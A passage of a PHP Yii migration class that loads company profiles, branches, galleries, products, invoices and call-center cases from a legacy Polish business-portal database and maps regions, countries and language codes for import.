                $this->companies[$row['id_user']]['lng'] = $row['longitude'];
            }
        }
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM firmy_kontakt WHERE firmy_kontakt.id_user IN ('.implode(",", $idsUsers).') AND firmy_kontakt.dzial = ""')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);                
                $this->companies[$row['id_user']]['email_firma2'] = $row['email_firma2'];
                $this->companies[$row['id_user']]['email_firma3'] = $row['email_firma3'];
                $this->companies[$row['id_user']]['www2'] = $row['www2'];
                $this->companies[$row['id_user']]['www3'] = $row['www3'];
                $this->companies[$row['id_user']]['tel2'] = $row['tel2'];
                $this->companies[$row['id_user']]['tel3'] = $row['tel3'];
                $this->companies[$row['id_user']]['fax2'] = $row['fax2'];
                $this->companies[$row['id_user']]['fax3'] = $row['fax3'];
                $this->companies[$row['id_user']]['gsm2'] = $row['gsm2'];
                $this->companies[$row['id_user']]['gsm3'] = $row['gsm3'];
                $this->companies[$row['id_user']]['regon'] = $row['regon'];
                $this->companies[$row['id_user']]['krs'] = $row['krs'];
            }
        }
        
        $sql = 'SELECT faktury_dane.* FROM faktury_dane WHERE id_user IN ('.implode(",", $idsUsers).')';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->companies[$row['id_user']]['invoicing_data'] = $this->convertDataLatin2ToUTF8($row);
            } 
        }
         
        $sql = 'SELECT firmy_korespondencja.* FROM firmy_korespondencja WHERE firmy_korespondencja.id_user IN ('.implode(",", $idsUsers).')';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);
                if(empty($row['nazwa']) && empty($row['adres']) && empty($row['nr_budynku']) && empty($row['miejscowosc'])) {
                    continue;
                }
                $this->companies[$row['id_user']]['correspondence_data'] = $row;
            } 
        }        
        
        $sql = 'SELECT firmy_oddzialy.* FROM firmy_oddzialy WHERE id_user IN ('.implode(",", $idsUsers).') ORDER BY id_user ASC, kolejnosc ASC, cd DESC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            $idsBranches = [];
            $branchesOrder = [];
            $relationsBranchesWithUsers = [];
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);
                
                $idsBranches[intval($row['id'])] = intval($row['id']);
                
                if(!isset($branchesOrder[$row['id_user']])) {
                    $branchesOrder[$row['id_user']] = 1; 
                }
                
                if(intval($row['status']) === 1) {
                    $row['kolejnosc'] = $branchesOrder[$row['id_user']];
                    $branchesOrder[$row['id_user']] += 1;
                } 
                
                $this->companies[$row['id_user']]['branches'][intval($row['id'])] = $row;
                
                $relationsBranchesWithUsers[intval($row['id'])] = $row['id_user'];
            } 
            
            $sql = 'SELECT id_oddzialu, latitude, longitude FROM firmy_geo WHERE id_oddzialu IN ('.implode(",", array_keys($idsBranches)).')';
            $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
            if(!empty($rows)) {
                foreach($rows as $row) {
                    $idBranch = intval($row['id_oddzialu']);
                    $idUser = $relationsBranchesWithUsers[$idBranch];
                    if(!isset($this->companies[$idUser]['branches'][$idBranch])) {
                        continue;
                    }
                    $this->companies[$idUser]['branches'][$idBranch]['lat'] = $row['latitude'];
                    $this->companies[$idUser]['branches'][$idBranch]['lng'] = $row['longitude'];
                }
            }
            unset($relationsBranchesWithUsers);
        }      
                
        $sql = 'SELECT firmy_kontakt.* FROM firmy_kontakt WHERE id_user IN ('.implode(",", $idsUsers).') AND dzial != "" ORDER BY id_user ASC, kol ASC, cd DESC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();        
        if(!empty($rows)) {
            $departmentsOrder = [];
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);

                if(!isset($departmentsOrder[$row['id_user']])) {
                    $departmentsOrder[$row['id_user']] = 1; 
                }
                
                $row['kolejnosc'] = $departmentsOrder[$row['id_user']];
                $departmentsOrder[$row['id_user']] += 1;

                $this->companies[$row['id_user']]['departments'][] = $row;            
            }    
        }
        
        $sql = 'SELECT firmy_referencje.* FROM firmy_referencje WHERE id_user IN ('.implode(",", $idsUsers).') ORDER BY id ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            $awardsOrder = [];
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);

                if(!isset($awardsOrder[$row['id_user']])) {
                    $awardsOrder[$row['id_user']] = 1; 
                }

                if(intval($row['status']) === 1) {
                    $row['kolejnosc'] = $awardsOrder[$row['id_user']];
                    $awardsOrder[$row['id_user']] += 1;
                } 

                $this->companies[$row['id_user']]['awards'][] = $row;            
            }  
        } 
        
        $sql = 'SELECT firmy_download.* FROM firmy_download WHERE id_user IN ('.implode(",", $idsUsers).') ORDER BY id ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            $downloadsOrder = [];
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);

                if(!isset($downloadsOrder[$row['id_user']])) {
                    $downloadsOrder[$row['id_user']] = 1; 
                }

                if(intval($row['status']) === 1) {
                    $row['kolejnosc'] = $downloadsOrder[$row['id_user']];
                    $downloadsOrder[$row['id_user']] += 1;
                } 

                $this->companies[$row['id_user']]['downloads'][] = $row;            
            }
        }        
        
        //@todo w bazie mamy rekordy, które posiadają niejednoznacze opisy:
        //kod: be, jezyk: białoruski
        //kod: be, jezyk: niderlandzki
        $rows = Yii::$app->dbVortale->createCommand('SELECT id_user, kod FROM jezyki_user WHERE id_user IN ('.implode(",", $idsUsers).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);
                if(isset($this->languagesMap[$row['kod']])) {
                    $row['kod'] = $this->languagesMap[$row['kod']];
                }   
                $this->companies[$row['id_user']]['languages'][$row['kod']] = $row['kod']; 
            }        
        } 
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM zasieg WHERE id_user IN ('.implode(",", array_values($idsUsers)).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $idArea = intval($row['id_obszar']);
//                $idCompany = $this->getIdCompanyForOldIdUser($row['id_user']); //@todo to chyba nie ma sensu tutaj
                if($idArea > 0 && $idArea < 17) {
                    $this->companies[$row['id_user']]['coverage_regions'][$idArea] = $idArea;
                } elseif($idArea === 19) {
                    $this->companies[$row['id_user']]['coverage_regions'] = [1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5, 6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 10, 11 => 11, 12 => 12, 13 => 13, 14 => 14, 15 => 15, 16 => 16];
                }
                //@todo rozważyć, czy dla opcji 17 (Europa) oraz 18 (Świat) nie powinniśmy wygenerować określonej liczby krajów
            }
        }        
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM zasieg_kraje WHERE id_user IN ('.implode(",", array_values($idsUsers)).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
//                $idCompany = $this->getIdCompanyForOldIdUser($row['id_user']); //@todo to chyba nie ma sensu tutaj
                if(isset($this->oldIdsCountriesMap[intval($row['id_kraj'])])) {
                    $idCountry = $this->oldIdsCountriesMap[intval($row['id_kraj'])];
                    $this->companies[$row['id_user']]['coverage_countries'][$idCountry] = $idCountry;
                } elseif(intval($row['id_kraj']) === 50) {
                    if(!isset($this->companies[$row['id_user']]['coverage_countries']) || !is_array($this->companies[$row['id_user']]['coverage_countries'])) {
                        $this->companies[$row['id_user']]['coverage_countries'] = [];
                    }
                    $this->companies[$row['id_user']]['coverage_countries'] = array_merge($this->companies[$row['id_user']]['coverage_countries'], $this->EUCountries);
                }   
            }
        }
        
        $sql = 'SELECT galerie_wideo.* FROM galerie_wideo WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id_user ASC, kolejnosc ASC, id ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            $idsGalleries = [];
            $galleriesOrder = [];
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);

                $idGallery = intval($row['id']);
                $idsGalleries[$idGallery] = $idGallery;

                if(!isset($galleriesOrder[$row['id_user']])) {
                    $galleriesOrder[$row['id_user']] = 1; 
                }

                if(intval($row['status']) === 1) {
                    $row['kolejnosc'] = $galleriesOrder[$row['id_user']];
                    $galleriesOrder[$row['id_user']] += 1;
                } 

                $this->companies[$row['id_user']]['video_galleries'][$idGallery] = $row;            
            } 
            
            $sql = 'SELECT wideo.* FROM wideo WHERE id_galeria IN ('.implode(",", $idsGalleries).') AND status = 1 ORDER BY id_galeria ASC, cd DESC';
            $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
            if(!empty($rows)) {
                $videosOrder = [];
                foreach($rows as $row) {
                    //@todo rozważyć, czy w ogóle importować materiały ze statusem innym niż 1 - w nowej wersji z racjonalnych przyczyn pominęliśmy "status",
                    //więc materiały ze statusem 0 z bazy vortali będą w nowej bazie widoczne
                    $idGallery = intval($row['id_galeria']);
                    $row = $this->convertDataLatin2ToUTF8($row);

                    if(!isset($videosOrder[$idGallery])) {
                        $videosOrder[$idGallery] = 1; 
                    }

                    $row['kolejnosc'] = $videosOrder[$idGallery];
                    $videosOrder[$idGallery] += 1;

                    $this->companies[$row['id_user']]['video_galleries'][$idGallery]['videos'][] = $row;
                }
            }
        }  
        
        $sql = 'SELECT galerie.* FROM  galerie WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id_user ASC, kolejnosc ASC, id ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            $idsGalleries = [];
            $galleriesOrder = [];
            $galleries = [];
            foreach($rows as $row) {                
                $row = $this->convertDataLatin2ToUTF8($row);
                
                $idGallery = intval($row['id']);
                $galleries[$idGallery] = ['id' => $idGallery, 'id_user' => $row['id_user']];

                if(!isset($galleriesOrder[$row['id_user']])) {
                    $galleriesOrder[$row['id_user']] = 1; 
                }

                if(intval($row['status']) === 1) {
                    $row['kolejnosc'] = $galleriesOrder[$row['id_user']];
                    $galleriesOrder[$row['id_user']] += 1;
                }
                
                $this->companies[$row['id_user']]['photo_galleries'][$idGallery] = $row;            
            }  
            
            $rows = Yii::$app->dbVortale->createCommand('SELECT galerie_zdjecia.* FROM galerie_zdjecia WHERE id_galeria IN ('.implode(",", array_keys($galleries)).') ORDER BY id_galeria ASC, kolejnosc ASC, id DESC')->queryAll();
            if(!empty($rows)) {
                $photosOrder = [];
                foreach($rows as $row) {
                    $idGallery = intval($row['id_galeria']);
                    $row = $this->convertDataLatin2ToUTF8($row);

                    if(!isset($photosOrder[$idGallery])) {
                        $photosOrder[$idGallery] = 1; 
                    }

                    $row['kolejnosc'] = $photosOrder[$idGallery];
                    $row['id_user'] = $galleries[$idGallery]['id_user'];
                    $photosOrder[$idGallery] += 1;

                    $this->companies[$row['id_user']]['photo_galleries'][$idGallery]['photos'][] = $row;
                }
            }
        }
        
//        $sql = 'SELECT katalog_firm_kategorie.* FROM katalog_firm_kategorie WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id_user ASC, id_katalog_firm_kategorie ASC';
//        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();        
//        if(!empty($rows)) {
//            foreach($rows as $row) {
//                if(!empty($row['kategoria'])) {
//                    $idCategory = intval($row['kategoria']);
//                    if(isset($this->companies[$row['id_user']]['categories_old'][$idCategory])) {
//                        $this->companies[$row['id_user']]['categories_old'][$idCategory] = false;
//                    } else {
//                        $this->companies[$row['id_user']]['categories_old'][$idCategory] = true;
//                    }
//                }
//                if(!empty($row['kategoria_1'])) {
//                    $idCategory = intval($row['kategoria_1']);
//                    if(!isset($this->companies[$row['id_user']]['categories_old'][$idCategory])) {
//                        $this->companies[$row['id_user']]['categories_old'][$idCategory] = true;
//                    }
//                }       
//            }
//
//            //-------------------------------------------
//            $importedCategories = [];
//            $companiesCategoriesMap = [];
//            $query = new \yii\mongodb\Query();
//            $documents = $query->from('import_companies_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
//            if(!empty($documents)) {
//                foreach($documents as $document) {
//                    $importedCategories[(int)$document['target_id']] = (int)$document['source_id'];
//                }
//            } 
//            unset($documents);
//
//            $modelsCompaniesCategories = CompaniesCategories::find()->where(['id_portal' => $idsPortals])->all();
//            if(!empty($modelsCompaniesCategories)) {
//                $companiesCategoriesMap = [];        
//                foreach($modelsCompaniesCategories as $modelCompaniesCategory) {
//                    if(isset($importedCategories[$modelCompaniesCategory->id_category])) {
//                        $companiesCategoriesMap[$modelCompaniesCategory->id_portal][$importedCategories[$modelCompaniesCategory->id_category]] = $modelCompaniesCategory->id_category;
//                    }
//                }            
//            }
//            unset($modelsCompaniesCategories);
//            unset($importedCategories);
//            //--------------------------------------------------
//
//
//            foreach($this->companies as $idUser => $company) {
//                foreach($company['portale'] as $portal) {
//                    $idPortal = $portal['id_portal'];
//                    if(!empty($company['categories_old'])) {
//                        foreach($company['categories_old'] as $idCategory => $flag) {
//                            if($flag === false || !isset($companiesCategoriesMap[$idPortal][$idCategory])) {
//                                continue;
//                            }
//
//                            $idNewCategory = $companiesCategoriesMap[$idPortal][$idCategory];                    
//                            $this->companies[$idUser]['categories'][$idPortal][$idNewCategory] = $idNewCategory;
//                        }
//                    }
//                }
//            }
//            unset($companiesCategoriesMap);
//        }
        
        $sql = 'SELECT katalog_firm_kategorie.* FROM katalog_firm_kategorie WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id_user ASC, id_katalog_firm_kategorie ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();        
        if(!empty($rows)) {
            //-------------------------------------------
            $importedCategories = [];
            $query = new \yii\mongodb\Query();
            $documents = $query->from('import_companies_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
            if(!empty($documents)) {
                foreach($documents as $document) {
                    $importedCategories[(int)$document['source_id']] = (int)$document['target_id'];
                }
            } 
            unset($documents);            
            //--------------------------------------------------

            foreach($rows as $row) {
                $idCategory = intval($row['kategoria']);
                $idCategory1 = intval($row['kategoria_1']);
                if(empty($row['kategoria_1'])) {                    
                    $this->companies[$row['id_user']]['categories_old'][$idCategory] = isset($this->companies[$row['id_user']]['categories_old'][$idCategory]) ? false : true;
                } else {
                    if(isset($importedCategories[$idCategory1])) {
                        if(!isset($this->companies[$row['id_user']]['categories_old'][$idCategory1])) {
                            $this->companies[$row['id_user']]['categories_old'][$idCategory1] = true;
                        }
                        
                        $this->companies[$row['id_user']]['categories_old'][$idCategory] = isset($this->companies[$row['id_user']]['categories_old'][$idCategory]) ? false : true;
                    } 
                }
                
                
//                if(!empty($row['kategoria'])) {
//                    $idCategory = intval($row['kategoria']);
//                    if(isset($this->companies[$row['id_user']]['categories_old'][$idCategory]) && isset($importedCategories[$idCategory])) { //to trzeba w tym miejscu sprawdzać - część firm jest przypisana do kategorii, które nie są już w drzewie, a co za tym idzie jeśli podkategoria nie jest już w drzewie, a został zapis, to utracone zostanie powiązanie z kategorią nadrzedną
//                        $this->companies[$row['id_user']]['categories_old'][$idCategory] = false;
//                    } else {
//                        $this->companies[$row['id_user']]['categories_old'][$idCategory] = true;
//                    }
//                }
//                if(!empty($row['kategoria_1'])) {
//                    $idCategory = intval($row['kategoria_1']);
//                    if(!isset($this->companies[$row['id_user']]['categories_old'][$idCategory])) {
//                        $this->companies[$row['id_user']]['categories_old'][$idCategory] = true;
//                    }
//                }       
            }

            foreach($this->companies as $idUser => $company) {
                if(empty($company['categories_old'])) {
                    $this->companies[$idUser]['categories'] = [];
                    continue;
                }
                
                foreach($company['categories_old'] as $idCategory => $flag) {
                    $idCategory = intval($idCategory);
                    if($flag === false || !isset($importedCategories[$idCategory])) {
                        continue;
                    }

                    $idNewCategory = $importedCategories[$idCategory];                    
                    $this->companies[$idUser]['categories'][$idNewCategory] = $idNewCategory;
                }
            }
//            var_dump($this->companies[44394]['categories_old']); exit;
            unset($importedCategories);
        }
        
        $sql = 'SELECT produkty.* FROM produkty WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id_user ASC, kolejnosc ASC, cd DESC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();        
        if(!empty($rows)) {
            $productsCategoriesMap = [];
            $query = new \yii\mongodb\Query();
            $documents = $query->from('import_products_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => self::STATUS_OK])->all();
            if(!empty($documents)) {
                foreach($documents as $document) {
                    $productsCategoriesMap[(int)$document['source_id']] = (int)$document['target_id'];
                }
            }
            unset($documents);
            
            $idsPortals = [];
            $productsOrder = [];
            $idsProducts = [];
            foreach($rows as $row) {                
                $row = $this->convertDataLatin2ToUTF8($row);

                if(!isset($productsOrder[$row['id_user']])) {
                    $productsOrder[$row['id_user']] = 1; 
                }

                if(intval($row['status']) === 1) {
                    $row['kolejnosc'] = $productsOrder[$row['id_user']];
                    $productsOrder[$row['id_user']] += 1;

                    $categories = [];
                    for($i = 1; $i < 4; $i++) {
                        if(!empty($row['k'.$i.'pp'])) {
                            if(isset($productsCategoriesMap[intval($row['k'.$i.'pp'])])) {
                                $idNewCategory = $productsCategoriesMap[intval($row['k'.$i.'pp'])];
                                $categories[$idNewCategory] = $idNewCategory;
                            }
                            continue;
                        }
                        if(!empty($row['k'.$i.'p'])) {
                            if(isset($productsCategoriesMap[intval($row['k'.$i.'p'])])) {
                                $idNewCategory = $productsCategoriesMap[intval($row['k'.$i.'p'])];
                                $categories[$idNewCategory] = $idNewCategory;
                            }
                            continue;
                        }
                        if(!empty($row['k'.$i])) {
                            if(isset($productsCategoriesMap[intval($row['k'.$i])])) {
                                $idNewCategory = $productsCategoriesMap[intval($row['k'.$i])];
                                $categories[$idNewCategory] = $idNewCategory;
                            }
                            continue;
                        }
                    }

                    $row['categories'] = !empty($categories) ? array_values($categories) : [];
                } else {
                    unset($row['kolejnosc']);
                }
                $idsProducts[] = $row['id'];
                $this->companies[$row['id_user']]['products'][$row['id']] = $row;            
            }    
            unset($productsCategoriesMap);     
            
            $rows = Yii::$app->dbVortale->createCommand('SELECT produkty_statystyki.id_produkt, produkty_statystyki.display, produkty.id_user FROM produkty_statystyki, produkty WHERE produkty_statystyki.id_produkt = produkty.id AND produkty_statystyki.id_produkt IN ('.implode(",", $idsProducts).')')->queryAll();
            if(!empty($rows)) {
                foreach($rows as $row) {
                    $this->companies[$row['id_user']]['id_produkt'][$row['id_produkt']]['views_number'] = $row['display'];
                }
            }
            
        }
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM publikacje WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {            
                $row = $this->convertDataLatin2ToUTF8($row);            
                $this->companies[$row['id_user']]['books'][] = $row;            
            }
        }

        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM szkolenia WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id_szkolenia')->queryAll();
        if(!empty($rows)) {  
            $relationsTrainingsWithUsers = [];
            foreach($rows as $row) { 
                $row = $this->convertDataLatin2ToUTF8($row); 
                $idTraining = intval($row['id_szkolenia']);
                
                $this->companies[$row['id_user']]['trainings'][$idTraining] = $row;
                $this->companies[$row['id_user']]['trainings'][$idTraining]['portals'] = [];
                
                $relationsTrainingsWithUsers[$idTraining] = $row['id_user'];
            }
            
            $sql = 'SELECT * FROM szkolenia_portal WHERE szkolenia_portal.id_szkolenia IN ('.implode(",", array_keys($relationsTrainingsWithUsers)).')';
            $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
            if(!empty($rows)) { 
                foreach($rows as $row) { 
                    $idPortal = intval($row['id_portal']);
                    $idTraining = intval($row['id_szkolenia']);
                    $idUser = $relationsTrainingsWithUsers[$idTraining];
                    $this->companies[$idUser]['trainings'][$idTraining]['portals'][$idPortal] = $idPortal;
                }
            }
            unset($relationsTrainingsWithUsers);
        }        
 
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM faktury WHERE id_user IN ('.implode(",", array_values($idsUsers)).') ORDER BY id_faktura')->queryAll();
        if(!empty($rows)) {
            $invoices = [];
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);

                if((empty($row['adres']) && empty($row['miejscowosc']) && empty($row['kod_1']) && empty($row['kod_2'])) || empty($row['nip'])) {
                    if(!empty($this->companies[$row['id_user']]['invoicing_data'])) {
                        $row2 = $this->companies[$row['id_user']]['invoicing_data'];
                        
                        //jeśli brak adresu, tzn. całego adresu: adres, miejscowość, kod_pocztowy, to próbujemy pobrać to z danych fakturowych firmy        
                        if(empty($row['adres']) && empty($row['miejscowosc']) && empty($row['kod_1']) && empty($row['kod_2'])) {
                            $row['adres'] = $row2['adres'];
                            $row['nr_budynku'] = $row2['nr_budynku'];
                            $row['nr_lokalu'] = $row2['nr_lokalu'];
                            $row['kod_1'] = $row2['kod_1'];
                            $row['kod_2'] = $row2['kod_2'];
                            $row['miejscowosc'] = $row2['miejscowosc'];
                            $row['adres_cd'] = $row2['adres_cd'];
                        }

                        //jeśli istnieje nip w danych użytkownika, a nie ma go w danych faktury, to dociągamy stamtąd, a BRAK dopiero wtedy, jeśli i tam nie ma
                        if(empty($row['nip'])) {
                            $row['nip'] = $row2['nip'];
                        }
                    }                
                }

                $this->companies[$row['id_user']]['invoices'][$row['id_faktura']] = $row;            
                $invoices[$row['id_faktura']] = ['id' => $row['id_faktura'], 'id_user' => $row['id_user']];
            }

            $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM faktury_wplywy WHERE id_faktura IN ('.implode(",", array_keys($invoices)).')')->queryAll();
            if(!empty($rows)) {
                foreach($rows as $row) {
                    $row = $this->convertDataLatin2ToUTF8($row);
                    $idUser = $invoices[$row['id_faktura']]['id_user'];
                    if(intval($row['bledna_kwota']) === 0) {
                        $this->companies[$idUser]['invoices'][$row['id_faktura']]['kwota_wplywu'] = $row['kwota_wplywu'];
                        $this->companies[$idUser]['invoices'][$row['id_faktura']]['data_zaksiegowania'] = $row['data_zaksiegowania'];
                    }

                    foreach(['info_handlowiec', 'info_redaktor'] as $fieldName) {
                        if(!empty($row[$fieldName])) {
                            if(!empty($this->companies[$idUser]['invoices'][$row['id_faktura']][$fieldName])) {
                                $this->companies[$idUser]['invoices'][$row['id_faktura']][$fieldName] .= '<br><br>';                        
                            }
                            $this->companies[$idUser]['invoices'][$row['id_faktura']][$fieldName] = $row[$fieldName];
                        }
                    }
                }
            }    

            $sql = 'SELECT * FROM faktury_szczegoly WHERE id_faktura IN ('.implode(",", array_keys($invoices)).') ORDER BY id_faktura ASC, id ASC';
            $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
            if(!empty($rows)) {
                foreach($rows as $row) {
                    $row = $this->convertDataLatin2ToUTF8($row);
                    $idUser = $invoices[$row['id_faktura']]['id_user'];
                    $this->companies[$idUser]['invoices'][$row['id_faktura']]['items'][] = $row;
                }
            } 
            
            unset($invoices);
        }        
        
        $sql = 'SELECT s.id AS id_sprawa, s.temat, s.status, s.id_firma, h.id_historia, h.uwagi, h.id_user AS id_operator, h.termin, h.cd, h.priorytet, fp.id_user AS vortale_id_user '
                . 'FROM vcallcenter_sprawy s, vcallcenter_firmy_portal fp, vcallcenter_historia h '
                . 'WHERE fp.id_firma = s.id_firma '
                    . 'AND h.id_sprawa = s.id '
                    . 'AND fp.id_user IN ('.implode(",", $idsUsers).') '
                . 'ORDER BY h.id_historia ASC';
        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);            
                
                $idOperator = isset($this->vcallcenterOperators[intval($row['id_operator'])]) ? $this->vcallcenterOperators[intval($row['id_operator'])]['id_user'] : null;
                if($idOperator === null) {
                    continue;
                }
                
                if(!isset($this->companies[$row['vortale_id_user']]['cases'][$row['id_sprawa']])) {
                    $this->companies[$row['vortale_id_user']]['cases'][$row['id_sprawa']] = [
                        'id_sprawa' => $row['id_sprawa'],
                        'id_firma' => $row['id_firma'],
                        'id_user' => $row['vortale_id_user'],
                        'id_operator' => $idOperator,
                        'temat' => $row['temat'],
                        'status' => $row['status'],
                        'cd' => $row['cd'],
                    ];
                }                
                $this->companies[$row['vortale_id_user']]['cases'][$row['id_sprawa']]['entries'][$row['id_historia']] = [
                    'id_historia' => $row['id_historia'],
                    'uwagi' => $row['uwagi'],
                    'termin' => $row['termin'],
                    'cd' => $row['cd'],
                    'priorytet' => $row['priorytet'],
                    'id_operator' => $idOperator,
                ];
            }        
        }       
        
        //@todo przetestować
        $sql = 'SELECT f.id_firma, f.kontakt, fp.id_user AS vortale_id_user '
                . 'FROM vcallcenter_firmy f, vcallcenter_firmy_portal fp '
                . 'WHERE fp.id_firma = f.id_firma AND fp.id_user IN ('.implode(",", $idsUsers).') ';
        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $contactValue = $this->convertDataLatin2ToUTF8($row['kontakt']);
                if(empty($contactValue)) {
                    continue;
                }              
                $this->companies[$row['vortale_id_user']]['vcallcenter_kontakt'] = $this->convertDataLatin2ToUTF8($row['kontakt']);
            }
        }
        
        
        //@todo nietestowane
//        $sql = 'SELECT f.id_firma, f.status, f.id_user AS id_operator, fp.id_user AS vortale_id_user, fp.id_portal '
//                . 'FROM vcallcenter_firmy f, vcallcenter_firmy_portal fp '
//                . 'WHERE fp.id_firma = f.id_firma '
//                    . 'AND fp.id_user IN ('.implode(",", $idsUsers).') ';
//        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
//        if(!empty($rows)) {
//            foreach($rows as $row) {
//                $row = $this->convertDataLatin2ToUTF8($row);
//                 
//                $idOperator = isset($this->vcallcenterOperators[intval($row['id_operator'])]) ? $this->vcallcenterOperators[intval($row['id_operator'])]['id_user'] : null;
//                if($idOperator === null) {
//                    continue;
//                }
//                
//                $this->companies[$row['vortale_id_user']]['operators'][$idOperator][] = intval($row['id_portal']);
//                $this->companies[$row['vortale_id_user']]['usage_status'] = isset($this->companiesUsageStatusesMap[intval($row['status'])]) ? $this->companiesUsageStatusesMap[intval($row['status'])] : CompanyUsageStatus::UNUSED;            
//            }        
//        }
        
        unset($rows); 
    }
    
    public function init() 
    {
        Yii::$app->dbVortale->createCommand('SET NAMES latin2;')->execute();
                
        $this->getUsersToCompaniesMap();
        
        $this->tabsMap = [
            1 => 'CONTACT_DATA',
            2 => 'INDUSTRIES_AND_COVERAGE',
            3 => 'ABOUT_COMPANY',
            4 => 'OFFER',
            5 => 'PRODUCTS_AND_SERVICES',
            6 => 'REFERENCES_AND_AWARDS',
            7 => 'PUBLICATIONS',
            8 => 'DOWNLOAD',
            9 => 'PHOTO_GALLERIES',
            10 => 'VIDEO_GALLERIES',
            11 => 'CONTACT_DATA',
            12 => 'CONTACT_DATA'
        ];
        
        $this->packagesMap = [
            1 => 'STARTER',
            2 => 'BASIC',
            3 => 'STANDARD',
            4 => 'STANDARD_PLUS',
            5 => 'PREMIUM',
            6 => 'EXCLUSIVE',
            7 => 'CUSTOM',
        ];
        
        $this->packagesSettings = [];
        $modelsServices = Services::find()->where(['id_type' => 'COMPANY_PRESENTATION'])->all();
        foreach($modelsServices as $modelService) {
            $this->packagesSettings[str_replace('COMPANY_PRESENTATION_', '', $modelService->id_service)] = $modelService->params;
        }
        
        $this->regionsMap = [
            1 => "dolnośląskie",
            2 => "kujawsko-pomorskie",
            3 => "lubelskie",
            4 => "lubuskie",
            5 => "łódzkie",
            6 => "małopolskie",
            7 => "mazowieckie",
            8 => "opolskie",
            9 => "podkarpackie",
            10 => "podlaskie",
            11 => "pomorskie",
            12 => "śląskie",
            13 => "świętokrzyskie",
            14 => "warmińsko-mazurskie",
            15 => "wielkopolskie",
            16 => "zachodniopomorskie"
        ];
        
        //@todo sprawdzić jakie wartości mamy w bazie - zrobione na 24.10.2019        
        $this->countriesMap = [            
            'Polska' => 'PL',
            'United Kingdom' => 'UK',
            'Germany' => 'DE',
            'Afghanistan' => 'AF',
            'Czech Republic' => 'CZ',
            'Hungary' => 'HU',
            'Austria' => 'AT',
            'Belgium' => 'BE',
            'Ireland' => 'IE',
            'China' => 'CN',
            'Bulgaria' => 'BG',
            'Netherlands' => 'NL',
            'Lithuania' => 'LT',
            'Austria' => 'AT',
            'Italy' => 'IT',
            'Ukraine' => 'UA',
            'India' => 'IN',
            'Belarus' => 'BY',
            'Paraguay' => 'PY'
        ];
        
        //tabela parsująca nieprawidłowe klucze języków ze starej bazy, np. "australijski" na "angielski" czy też "meksykański" na "hiszpański"
        //@todo problemem jest kod "be" - raz występuje jako białoruski, a raz jako niderlandzki...
        //@todo sprawdzić jakie wartości mamy w bazie - zrobione na 24.10.2019
        $this->languagesMap = [ 
            'au' => 'en',
            'us' => 'en',
            'at' => 'de',
            'by' => 'be',
            'il' => 'he',
            'in' => 'hi',
            'mx' => 'es',
        ];
        
        //powiązania względem tabeli sl_jezyki - z tej korzystamy na obecnych portalach...        
        $this->oldIdsCountriesMap = [
            1 => 'AL',
            2 => 'UK',
            5 => 'SA',
            6 => 'AZ',
            7 => 'BG',
            8 => 'CN',
            9 => 'HR',
            10 => 'CZ',
            11 => 'DK',
            12 => 'EE',
            13 => 'FI',
            14 => 'FR',
            15 => 'GR',
            16 => 'GE',
            17 => 'ES',
